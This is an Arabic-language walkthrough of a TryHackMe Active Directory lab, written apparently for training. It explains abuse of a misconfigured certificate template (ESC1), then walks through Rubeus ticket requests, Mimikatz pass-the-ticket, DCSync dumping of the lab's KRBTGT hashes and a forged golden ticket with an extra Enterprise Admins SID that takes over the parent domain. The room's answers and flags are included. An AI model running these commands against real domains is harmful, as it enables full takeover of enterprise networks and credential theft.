بحث تم إصداره بورقة من SpecterOps أظهر إنه ممكن استغلال نماذج الشهادات المكونة بشكل خاطئ لتصعيد الصلاحيات والحركة الجانبية إذا بدك تفهم أكثر عن سوء تكوين الشهادات وكيفية التعرف عليها راجع هاي الروم

TryHackMe | Cyber Security Training
TryHackMe is a free online platform for learning cyber security, using hands-on exercises and labs, all through your browser!

خدمات شهادات AD
خدمات شهادات هي تنفيذ مايكروسوفت للبنية التحتية للمفاتيح العامة PKI بما إن الـ AD بوفر مستوى من الثقة بالمؤسسة ممكن يستخدم كسلطة شهادات CA لإثبات وتفويض الثقة
الـ AD CS يستخدم لعدة أشياء مثل تشفير أنظمة الملفات إنشاء والتحقق من التوقيعات الرقمية وحتى مصادقة المستخدمين وهاد بخليها طريق واعد النا عشان نستغلها

بما إنه الـ AD CS هي وظيفة مميزة عادة بتشتغل على وحدات تحكم مجال مختارة يعني المستخدمين العاديين ما بقدرو يتفاعلوا مع الخدمة مباشرة
من ناحية ثانية المؤسسات بتكون كبيرة جدًا عشان يكون عند الإداري إمكانية إنشاء وتوزيع كل شهادة يدويًا
هون بتيجي نماذج الشهادات الإداريين للـ AD CS بقدروا ينشئوا عدة نماذج بتسمح لأي مستخدم عنده الصلاحيات المطلوبة يقدر يطلب شهادة بنفسه
هاي النماذج عندها parameters بتحكي مين المستخدم اللي بقدر يطلب الشهادة وشو المطلوب
الـ SpecterOps اكتشفوا إن تركيبات معينة من هاي الـ parameters ممكن تكون سامة جدًا وتُستغل لتصعيد الصلاحيات والوصول الدائم
قبل ما ندخل أعمق باستغلال الشهادات بعض المصطلحات:
الـ PKI: البنية التحتية للمفاتيح العامة ... هو نظام يدير الشهادات وتشفير المفاتيح العامة
الـ AD CS: خدمات شهادات Active Directory هي تنفيذ مايكروسوفت للـ PKI اللي عادةً بتشتغل على وحدات الـ DC (التحكم المجال)
الـ CA: هي PKI اللي بتصدر الشهادات
الـ Certificate Template: مجموعة من الإعدادات والسياسات اللي بتحدد كيف ومتى ممكن تصدر الشهادة من CA
الـ CSR: هي رسالة ترسل للـ CA عشان نطلب شهادة موقعة
الـ EKU: هي object identifiers بتحدد كيف ممكن تستخدم الشهادة المنشأة
البحث عن نماذج شهادات ضعيفة
عشان نلاقي نماذج ضعيفة راح نستخدم أداة ويندوز مدمجة certutil باستخدام وصولنا للـ RDP على THMSERVER2، بنقدر نشغل السكريبت التالي بـ PowerShell عشان نستكشف الشهادات:
Bash:
C:>certutil -Template -v > templates.txt
هاد راح يعطينا مخرجات عن كل النماذج المكونة ممكن كمان نستخدم أداة تدقيق شهادات مثل PSPKIAudit من Ghostpack لكن الطريقة اليدوية بتسمحلنا نتأكد إننا نلاقي كل الـ misconfigured الممكنة
نموذج الشهادة يعتبر معموله config بشكل خاطئ إذا صارت تركيبته من قيم الـ parameters سامة وبتسمح للطالب بإجراء تصعيد صلاحيات بحالتنا بنبحث عن نموذج بالتركيبة السامة التالية شمن الـ parameters :
- Client Authentication : الشهادة ممكن تستخدم لمصادقة العميل
- CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT: نموذج الشهادة يسمحلنا بتحديد اسم البديل للموضوع (SAN)
- CTPRIVATEKEY_FLAG_EXPORTABLE_KEY: الشهادة راح تكون قابلة للتصدير مع المفتاح الخاص
- Certificate Permissions: عندنا الصلاحيات المطلوبة لاستخدام نموذج الشهادة
إذا كنت مهتم تتعلم أكثر عن الـ config للـ parameters السامة، اقرأ الورقة من SpecterOps. بما إن هدف هاد الشرح هو اكتساب معرفة أوسع بهجمات استغلال AD، راح نشير إن Template[32] هو النموذج الضعيف
بهاد النموذج بنقدر نشوف إنه حساب الجهاز لـ THMSERVER2 بقدر يصدر CSR لنموذج بسمحلنا بتحديد اسم البديل للموضوع SAN وممكن يستخدم لمصادقة العميل
ليش ضعيف بسبب الصلاحيه هاي
Allow Enroll ZA\THMSERVER2$
هيك بتسمحلنا نطلب شهادة النا او نيابه عن اي مستخدم او خدمه وهاد بنسميه
ESC1 (Enterprise PKI Certificate Template Escalation)
وهاد هو المحتوى من ملف الـ templates
كود:
Template[32]:
TemplatePropCommonName = Web Server Cert Template
TemplatePropFriendlyName = Web Server Cert Template
TemplatePropEKUs =
2 ObjectIds:
1.3.6.1.5.5.7.3.2 Client Authentication
1.3.6.1.5.5.7.3.1 Server Authentication
TemplatePropCryptoProviders =
0: Microsoft RSA SChannel Cryptographic Provider
1: Microsoft DH SChannel Cryptographic Provider
TemplatePropMajorRevision = 64 (100)
TemplatePropDescription = Computer
TemplatePropSchemaVersion = 2
TemplatePropMinorRevision = 8
TemplatePropRASignatureCount = 0
TemplatePropMinimumKeySize = 800 (2048)
TemplatePropOID =
1.3.6.1.4.1.311.21.8.1823699.10350885.1394572.4929479.14975766.202.6863080.14328679 Web Server Cert Template
TemplatePropV1ApplicationPolicy =
2 ObjectIds:
1.3.6.1.5.5.7.3.2 Client Authentication
1.3.6.1.5.5.7.3.1 Server Authentication
TemplatePropEnrollmentFlags = 1
CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- 1
TemplatePropSubjectNameFlags = 1
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
TemplatePropPrivateKeyFlags = 1010010 (16842768)
CTPRIVATEKEY_FLAG_EXPORTABLE_KEY -- 10 (16)
CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
TEMPLATE_SERVER_VER_2003<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 10000 (65536)
TEMPLATE_CLIENT_VER_XP<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 1000000 (16777216)
TemplatePropGeneralFlags = 20241 (131649)
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
CT_FLAG_MACHINE_TYPE -- 40 (64)
CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
CT_FLAG_IS_MODIFIED -- 20000 (131072)
TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-500G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;CR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3885271727-2693558621-2658995185-6150)(OA;;CR;a05b8cc2-17bc-4802-a710-e7c15ab866a2;;S-1-5-21-3885271727-2693558621-2658995185-6150)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-512)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPRC;;;S-1-5-21-3885271727-2693558621-2658995185-6150)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-512)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-500)(A;;LCRPLORC;;;AU)
Allow Enroll ZA\THMSERVER2$
Allow Auto-Enroll ZA\THMSERVER2$
Allow Enroll TRYHACKME\Domain Admins
Allow Enroll TRYHACKME\Enterprise Admins
Allow Read ZA\THMSERVER2$
Allow Full Control TRYHACKME\Domain Admins
Allow Full Control TRYHACKME\Enterprise Admins
Allow Full Control TRYHACKME\Administrator
Allow Read NT AUTHORITY\Authenticated Users
TemplatePropExtensions =
4 Extensions:
Extension[0]:
1.3.6.1.4.1.311.21.7: Flags = 0, Length = 2f
Certificate Template Information
Template=Web Server Cert Template(1.3.6.1.4.1.311.21.8.1823699.10350885.1394572.4929479.14975766.202.6863080.14328679)
Major Version Number=100
Minor Version Number=8
Extension[1]:
2.5.29.37: Flags = 0, Length = 16
Enhanced Key Usage
Client Authentication (1.3.6.1.5.5.7.3.2)
Server Authentication (1.3.6.1.5.5.7.3.1)
Extension[2]:
2.5.29.15: Flags = 1(Critical), Length = 4
Key Usage
Digital Signature, Key Encipherment (a0)
Extension[3]:
1.3.6.1.4.1.311.21.10: Flags = 0, Length = 1a
Application Policies
[1]Application Certificate Policy:
Policy Identifier=Client Authentication
[2]Application Certificate Policy:
Policy Identifier=Server Authentication
TemplatePropValidityPeriod = 2 Years
TemplatePropRenewalPeriod = 6 Weeks
باستخدام وصول RDP على THMSERVER2 الآن راح نطلب شهادتنا إذا كنت بتستخدم Remmina وحفظت تكوين اتصال RDP، تأكد إنك تعطل الـ Restricted admin mode راح نستخدم Microsoft Management Console:
بنظغط على Start -> run وبنكتب mmc وبنضغط إدخال بعدها على File -> Add/Remove Snap-in..
بنضيف الـ Snap-in للشهادات وبنتأكد اننا نختار Computer Account و Local computer بالمطالبات وبنظغط OK
المفروض الآن نشوف الـ Snap-in للشهادات:
راح نطلب شهادة شخصية:
بنظغط على زر الفأرة الأيمن على Personal واختر All Tasks -> Request New Certificate...
بنظغط على Next مرتين عشان نختار سياسة التسجيل للـ AD راح نشوف إنه عننا نموذج واحد بنقدر نطلبه
بنغير نوع اسم الموضوع لـ Common Name وبنظغط Add بنغير نوع الاسم البديل للـ User principal name
بنحط الـ UPN للمستخدم اللي بدنا ننتحل شخصيته أفضل لشي يكون حساب DA مثل [email protected] وبنظغط Add
معلوماتنا الإضافية المفروض تكون زي هيك:
بنظغط على Apply بعدها OK بعدين بنختار الشهادة وانظغط على Enroll المفروض نقدر نشوف شهادتنا:
الخطوة الأخيرة هي تصدير شهادتنا مع المفتاح الخاص:
بنظغط بزر الفأرة الأيمن على الشهادة وبنختار All Tasks -> Export...
بنظغط على Next بعدها بنختار Yes, export the private key وبنظغط على Next بعدين بنعين كلمة مرور للشهادة لأنه المفتاح الخاص ما بتصدر بدون كلمة مرور وبعدها بنظغط Next وبنختار مكان لحفظ الشهادة بعدها Next وأخيرًا Finish
انتحال المستخدم من خلال شهادة
الآن بنقدر ننتحل شخصية مستخدم
الان في خطوتين :
1. استخدام الشهادة لطلب تذكرة Kerberos (TGT)
2. تحميل الـ TGT Kerberos بمنصة الاختراق اللي تختارها
1. استخدام الشهادة لطلب تذكرة Kerberos (TGT)
للخطوة الأولى راح نستخدم Rubeus نسخة مجمعة مسبقًا متوفرة بمسار C:\Tools بنفتح الـ cmd وبننتقل للمجلد راح نستخدم الأمر التالي عشان نطلب TGT:
كود:
Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:<path to certificate> /password:<certificate file password> /outfile:<name of file to write TGT to> /domain:za.tryhackme.loc /dc:<IP of domain controller>
خلينا نحكي عن الامر:
user/ : هاد بحدد المستخدم اللي راح ننتحل شخصيته و لازم يطابق UPN للشهادة اللي أنشأناها
enctype/ : هذا بحدد نوع التشفير للتذكرة تحديد هذا مهم للتهرب من الكشف لأنه خوارزمية التشفير الافتراضية ضعيفة، وهاد ممكن يسبب تنبيه overpass-the-hash
certificate/ : مسار الشهادة اللي أنشأناها
password/ : كلمة مرور ملف الشهادة
outfile/ : الملف اللي راح يخرج فيه TGT
domain/ : هو FQDN للمجال اللي بنهاجمه حاليًا
dc/ : هو IP لوحدة تحكم المجال اللي بنطلب منها TGT عادةً أفضل اشي تختار DC عندها خدمة CA شغالة
بمجرد ما ننفذ هاد الأمر المفروض نستلم الـ TGT:
الآن بنقدر نستخدم Mimikatz عشان نحمل الـ TGT ونصادق على الـ THMDC:
Bash:
C:\Tools>mimikatz_trunk\x64\mimikatz.exe
Bash:
mimikatz # privilege::debug
Bash:
mimikatz # kerberos::ptt administrator.kirbi
Bash:
mimikatz # exit
Bash:
C:\Tools>dir \THMDC.za.tryhackme.loc\c$
هيك بكون عننا وصول للبنية التحتية للمستوى الخامس واخترقنا الـ DC بشكل كامل

ما الذي ينشئه المستخدم ليطلب من CA شهادة؟
Certificate Signing Request
ما هو اسم تنفيذ مايكروسوفت لـ PKI؟
Active Directory Certificate Services
ما هي قيمة العلم المخزن على THMDC في مجلد سطح المكتب للإداري (flag5.txt)؟
THM{AD.Certificates.Can.Be.Very.Bad}
استغلال الـ Domain Trusts
رغم إننا عننا وصول للبنية التحتية للمستوى الخامس الا انه هاد مش كافي لاننا اخترقنا بس مجال الـ ZA.TRYHACKME.LOC أكيد TRYHACKME عندهم مجالات لمناطق ثانية كمان؟ طيب إذا سيطرنا على Domain الجذر TRYHACKME.LOC راح نكون بوضع بسمحلنا باختراق كل المجالات الفرعية
بهاد الجزء راح نشوف كيف ممكن نستغل "ثقة المجالات" عشان ناخذ السيطرة على الـ Forst بأكملها
ثقة المجالات
زي ما ناقشنا بأول موضوع اللي حكينا فيه عن أساسيات الـ AD الـ Forst هي مجموعة من Tree وحدة أو أكثر داخل شبكة الـ AD
الـ Domain Trusts هي آلية للمستخدمين بالشبكة حتى يحصلوا على وصول لموارد ثانية بالمجال
بمعظم الحالات الـ Trusts بتحدد كيف الـ Domain داخل الـ Forst بتتواصل مع بعضها
ببعض البيئات الـ Trusts ممكن تمتد لـ Domain's خارجية وحتى الـ Forst ببعض الحالات
في نوعين رئيسيين من الـ Trusts اللي ممكن تكون مكونة بين المجالات:
1. اتجاهية ( Directional ): اتجاه الثقة بسري من trusting domain لـ trusted domain
2. انتقالية ( Transitive ) : علاقة الثقة بتتوسع لتشمل domain's موثوقة ثانية غير الـ domain 2 الأصليين
شائع انه يكون في domain جذر أو أب بالـ Forst
بحالتنا الـ TRYHACKME.LOC هو الرئيسي وبتم إنشاء domain's فرعية أو child، مثل ZA.TRYHACKME.LOC أو UK.TRYHACKME.LOC
هاد الـ configuration للـ Forst بسمح بمشاركة الموارد بين الـ ZA و الـ UK
مثلا إذا كان في مستخدم بـ UK محتاج يوصل لـ THMSERVER1 بنقدر نعطي وصول للمستخدم بـ domain الـ ZA
هو فعليا منح للصلاحيات وبشتغل لأنه في Trust ثنائية الاتجاه (bidirectional)
- بين ZA و domain الجذر
- وبين UK و domain الجذر
وهاد بنشئ عننا النوع الثاني من الـ Trust اللي هو transitive بين ZA و UK
زي ما ذكرنا فوق الـ Trust بين parent domain و child domain هي ثنائية الاتجاه هاد السلوك المقصود ويستخدم لمشاركة الموارد من خلال علاقات trusted domain أكبر
لكن كمهاجمين بنقدر كمان نستغل هاي Trust عشان نخترق parent domain إذا اخترقنا الـ child domain
الـ KRBTGT والـ Golden Tickets
الـ KRBTGT هو الحساب المسؤول عن توقيع التذاكر بالـ Active Directory للـ Kerberos الاسم مشتق من Kerberos (KRB) و Ticket Granting Ticket (TGT) بالأساس هاد الحساب بتصرف كحساب خدمة لخدمة الـ Kerberos (KDC) اللي بتتعامل مع كل طلبات Ticket الـ Kerberos هاد الحساب يستخدم لتشفير وتوقيع كل Ticket الـ Kerberos للـ domain
بما إن هاش كلمة المرور مشترك بين كل الـ DC's بقدروا يتحققوا من صحة الـ TGT المستلمة لما المستخدمين يطلبوا وصول للموارد
لو حبّينا نعمل تذاكر TGT مزيّفة (يعني ننتج تذاكر خاصة فينا) بنقدر فعليًا نمنح حالنا وصول كامل على الشبكة وكأنّا الـ DC نفسه!
هذا الهجوم اسمه Golden Ticket Attack.
عادةً أي مستخدم بالشبكة لما بده يدخل على خدمة (زي ملف مشترك أو سيرفر) بطلب أول اشيء TGT (تذكرة دخول)
هاي التذكرة بنشئها الـ KDC (Key Distribution Center) الموجود في بالـ Domain Controller
لكن بالـ Golden Ticket Attack إحنا بنتجاوز الـ KDC تمامًا! بنعمل TGT مزيفة بإيدنا وكأنها صادرة من الـ Domain Controller
وبهيك بنقدر نستخدم هاي التذكرة لأي خدمة بالشبكة وكأننا الـ Domain Admin أو أي مستخدم تاني!
شو بنحتاج لنقدر نزور تذكرة TGT؟
1. اسم المجال الكامل (FQDN)2. الـ SID الخاص بالمجال
3. اسم المستخدم اللي بدنا ننتحل شخصيته
4. الـ Hash لكلمة مرور حساب الـ KRBTGT
الثلاثة الأولى عادةً سهل اننا نطلعهم
الأخير بتطلب نخترق الـ Domain لأن الهاش لكلمة مرور الـ KRBTGT مخزن بس على الـ DC's
بالموضوع السابق اخترقنا الـ DC بشهادة مزورة عشان هيك احنا بوضع بسمحلنا نسترد الهاش لكلمة مرور الـ KRBTGT
راح نستخدم Mimikatz مرة ثانية مع DC Sync عشان نسترد هاش كلمة مرور KRBTGT على THMSERVER2:
Bash:
C:\Tools>mimikatz_trunk\x64\mimikatz.exe
Bash:
mimikatz # privilege::debug
Bash:
mimikatz # lsadump::dcsync /user:za\krbtgt
بطلع معنا هاد كله
كود:
PS C:\tools> .\mimikatz_trunk\x64\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY gentilkiwi ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # lsadump::dcsync /user:za\krbtgt
[DC] 'za.tryhackme.loc' will be the domain
[DC] 'THMDC.za.tryhackme.loc' will be the DC server
[DC] 'za\krbtgt' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : krbtgt
SAM ACCOUNT
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 4/25/2022 7:18:22 PM
Object Security ID : S-1-5-21-3885271727-2693558621-2658995185-502
Object Relative ID : 502
Credentials:
Hash NTLM: 16f9af38fca3ada405386b3b57366082
ntlm- 0: 16f9af38fca3ada405386b3b57366082
lm - 0: 35c7b671efe40860dc078afd2786c902
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 4bf7050f5f09f6d59a8699081d9ed432
* Primary:Kerberos-Newer-Keys *
Default Salt : ZA.TRYHACKME.LOCkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 9b52d4ffae227e50025574e4347783ee4f4f6c01c110b1ad4c715d0c977558ca
aes128_hmac (4096) : c893fd72ddf7fe2ee545f52b8368602f
des_cbc_md5 (4096) : d904d37f8ab6fed6
* Primary:Kerberos *
Default Salt : ZA.TRYHACKME.LOCkrbtgt
Credentials
des_cbc_md5 : d904d37f8ab6fed6
* Packages *
NTLM-Strong-NTOWF
* Primary:WDigest *
01 59ef8461b2d3808973106d3eae741ca6
02 e7e04d83662aa1f0e23058bf822db70c
03 738f9c03bbcfe61e0cc1f617a56ee1ca
04 59ef8461b2d3808973106d3eae741ca6
05 e7e04d83662aa1f0e23058bf822db70c
06 cf5bf42182aaaa694a6ca51ab2346e97
07 59ef8461b2d3808973106d3eae741ca6
08 7943328089ebb9cd6856cb93e1c8e5eb
09 7943328089ebb9cd6856cb93e1c8e5eb
10 703d09859f5291a805f35efce9b2de4d
11 7ec84ffce154f8c3576c5ccfe270e306
12 7943328089ebb9cd6856cb93e1c8e5eb
13 09fcdbe4d28a7e845c4f7df0f5b942aa
14 7ec84ffce154f8c3576c5ccfe270e306
15 9f5d5af22548a18694bb8886e2f6a0eb
16 9f5d5af22548a18694bb8886e2f6a0eb
17 8d0eff223c176f71093f9d03f8a307df
18 f5d27cfa462b19d062670445682aef8c
19 3329d0412509cfe735c064d303dd05dc
20 7b5fb40e95c2fb16b5b92843158e83af
21 17a9bb9485f780cbe33945fc581532a2
22 17a9bb9485f780cbe33945fc581532a2
23 340490cea65bf6b5927cdf51444ef524
24 14fbfe8a903667e4901113f484711a62
25 14fbfe8a903667e4901113f484711a62
26 f67574e138db44d188d1e11b1f92a9d5
27 fd72b74747a58338ccfe1bd6d3527445
28 f9b2e0e39df0a0cbeffa119c03a87b9b
29 33a0a6986ba90410cbe8b5751a982393
mimikatz #
وهاد هو الهاش اللي بدنا اياه ( بنلاقيه عند الـ Credentials)
16f9af38fca3ada405386b3b57366082
TGTs بين المجالات
باستخدام الهاش لكلمة مرور الـ KRBTGT بنقدر نزوِّر تذكرة ذهبية عشان ندخل على أي ريسورس باي child domain
الـ TGTs بين المجالات بنستخدمها عشان نوفر وصول لـ resources بـ domain's ثانية
بحالتنا بدنا نستغل علاقة الـ Trust ثنائية الاتجاه بين parent domain ودومين الـ child domain عشان نحصل على وصول كامل لـ parent domain
بهجوم Golden Ticket ممكن نضيف صلاحيات إضافية للحساب المزور عن طريق تضمين الـ SIDs لحسابات أو مجموعات من domain's ثانية داخل التذكرة
أداة Mimikatz بتساعدنا بهالشي من خلال تعديل جزء اسمه ExtraSids داخل تذكرة الـTGT
هذا الجزء بسمح بربط الحساب المزور بمجموعات خارج مجاله الأصلي وبعطيه صلاحيات أكبر أو وصول لأماكن ما بوصلها عادة
المفتاح هون إننا راح نستغل الثقة اللي عند child domain مع الـ parent domain من خلال إضافة SID لمجموعة إداريي المؤسسة (EA) كـ SID إضافي لتذكرتنا المزورة للـ child DC
الـ EA group تنتمي للـ parent domain واذا كنت بهاي المجموعة بتعطي صلاحيات إدارية على الـ Forst بأكملها!
الـ SID الافتراضي لهاي المجموعة هو S-1-5-21-<RootDomain>-519
قبل ما ندخل في الاستغلال، أولًا نحتاج نسترد SIDين:
الـ SID لوحدة تحكم المجال الفرعي (THMDC) اللي راح ننتحل شخصيته بالـ TGT المزور
الـ SID لإداريي المؤسسة بالـ parent domain اللي راح نضيفه كـ SID إضافي لـ TGT المزور
عشان نسترد هاي الـ SIDs بنقدر نستخدم AD-RSAT PowerShell cmdlets
بنقدر نسترد الـ SID للـ child DC باستخدام الأمر التالي:
Bash:
PS C:> Get-ADComputer -Identity "THMDC"
S-1-5-21-3885271727-2693558621-2658995185-1001
Bash:
PS C:> Get-ADGroup -Identity "Enterprise Admins" -Server thmrootdc.tryhackme.loc
S-1-5-21-3330634377-1326264276-632209373-519
استغلال ثقة المجالات
أخيرًا، عندنا كل المعلومات المطلوبة عشان ننشئ TGT مزور راح نستخدم Mimikatz عشان ننشئ هاي التذكرة الذهبية
الأمر راح يكون زي هيك:
كود:
.\mimikatz_trunk\x64\mimikatz.exe
privilege::debug
kerberos::golden /user:Administrator /domain:za.tryhackme.loc /sid:S-1-5-21-3885271727-2693558621-2658995185-1001 /service:krbtgt /rc4:16f9af38fca3ada405386b3b57366082 /sids:S-1-5-21-3330634377-1326264276-632209373-519 /ptt
أول اشي بنتحقق اذا هاي التذكرة بتشتغل للوصول للـ THMDC لأنها تذكرة صالحة لمستخدم الإداري للـ child domain:
Bash:
C:>dir \thmdc.za.tryhackme.loc\c$
هيك بنتاكد على الاقل ان التذكرة الذهبية زورناها عشان نوصل للـ DC للـ child domain لكن بما إننا حددنا الـ SIDs إضافية المفروض كمان يكون عنّا وصول للـ DC للـ parent domain:
Bash:
C:>dir \thmrootdc.tryhackme.loc\c$
هاد بثبت إننا اخترقنا الـ parent domain بالكامل بس من خلال اختراق واحد من الـ child domain!
ما هي علاقة ثقة المجال اللي تكون مكونة افتراضيًا بين مجال أب ومجال ابن؟
Bidirectional trust
ما هو اسم حساب AD اللي يستخدمه KDC لتشفير وتوقيع TGTs؟
KRBTGT
ما هو اسم TGT اللي يعطي وصول للموارد خارج مجالنا الحالي؟
Inter-realm TGT
ما هي قيمة العلم المخزن على THMROOTDC في مجلد سطح المكتب للإداري (flag6.txt)؟
THM{Full.EA.Compromise}
وهيك بنكون خلصنا هاد الشرح انتظرونا بشرح قادم قد يكون الموضوع الجاي اخر موضوع وممكن قبل الاخير طبعا وانا بحل بالروم وبشرحها بحطلكم اخر اشي شويه مصادر ممكن تكون كثير حلوه وقويه لل ad وبنفس الوقت انتم كذلك بالتعليقات بنستفيد من خبرات بعض
بحاول باخر كل موضوع اني احط شويه مصادر منيحه
وهي مصدر فخم جدا من عمل KARIM ASHRAF

التعديل الأخير: